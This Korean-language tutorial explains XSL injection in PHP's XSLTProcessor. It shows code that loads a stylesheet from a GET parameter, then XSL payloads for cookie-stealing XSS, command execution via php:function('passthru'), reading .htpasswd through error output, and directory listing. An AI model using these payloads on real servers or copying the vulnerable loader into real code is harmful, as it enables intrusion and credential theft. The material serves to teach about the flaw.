XSL에서는 특정 파일 값을 읽거나, 특정 언어의 코드를 실행시키는 등의 동적인 기능이 존재한다.
그런데 이 XSL을 공격자가 임의로 수정할 수 있거나, 특정 XSL을 업로드할 수 있다면 위의 기능들을 이용하여 악의적인 코드를 실행할 수 있다.
다음은 XSL파일을 GET 파라미터로 전달받아 XSL Transformation을 진행하는 코드이다.
<?php
// Load the XML source
$xml = new DOMDocument;
$xml->load('collection.xml');
$xsl = new DOMDocument;
$xsl->load($_GET['xsl']);
// Configure the transformer
$proc = new XSLTProcessor;
$proc->importStyleSheet($xsl); // attach the xsl rules
echo $proc->transformToXML($xml); //vunerabilities occured!
?>
공격자가 악의적인 코드를 작성한 XSL 파일을 GET 파라미터로 전달했다면 서버는 그대로 코드를 실행할 것이다.
참조: https://www.php.net/manual/en/xsltprocessor.transformtoxml.php
그렇다면 이 XSL 인젝션을 통해서 공격자가 이용할 수 있는 취약점을 알아보자.
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>
중간에 삽입되는 html 태그는 문서로 변환됬을 때 삽입된 그대로 기능을 수행하므로, <script>
태그를 이용하여 XSS 취약점을 발생시킬 수 있다.
시나리오를 가정하면 XSL을 업로드 가능한 사이트에서 XSS취약점을 발생시키는 XSL을 업로드 한 뒤, 생성된 문서의 URL을 가지고 피해자를 대상으로 접속을 유도하는 형태의 공격이 가능할 것이다.
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la /')"/>
</xsl:template>
</xsl:stylesheet>
XSL 문법을 이용하여 PHP 코드를 실행시키는 것이다.
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('.htpasswd')"/>
</xsl:template>
</xsl:stylesheet>
위 구문을 실행하면 전달된 경로의 파일을 XML으로 인식하여 데이터를 읽는다. 기대한 것과 다를 경우 에러를 발생시키는데, 이 때 파일의 내용이 출력된다.
.htpasswd
파일의 내용이 test:qKMmz/ZMJFHc6
일 때, 출력되는 에러는 다음과 같다.
Warning: XSLTProcessor::transformToXml() [xsltprocessor.transformtoxml]: /path/.htpasswd:1: parser error : Start tag expected, '<' not found in /path/transform.php on line 15
Warning: XSLTProcessor::transformToXml() [xsltprocessor.transformtoxml]: test:qKMmz/ZMJFHc6 in /path/transform.php on line 15
Warning: XSLTProcessor::transformToXml() [xsltprocessor.transformtoxml]: ^ in /path/transform.php on line 15
<xsl:value-of select="php:function('opendir','./')"/>
<xsl:value-of select="php:function('readdir')"/>
https://www.acunetix.com/blog/articles/the-hidden-dangers-of-xsltprocessor-remote-xsl-injection/
https://vulncat.fortify.com/ko/detail?id=desc.dataflow.java.xslt_injection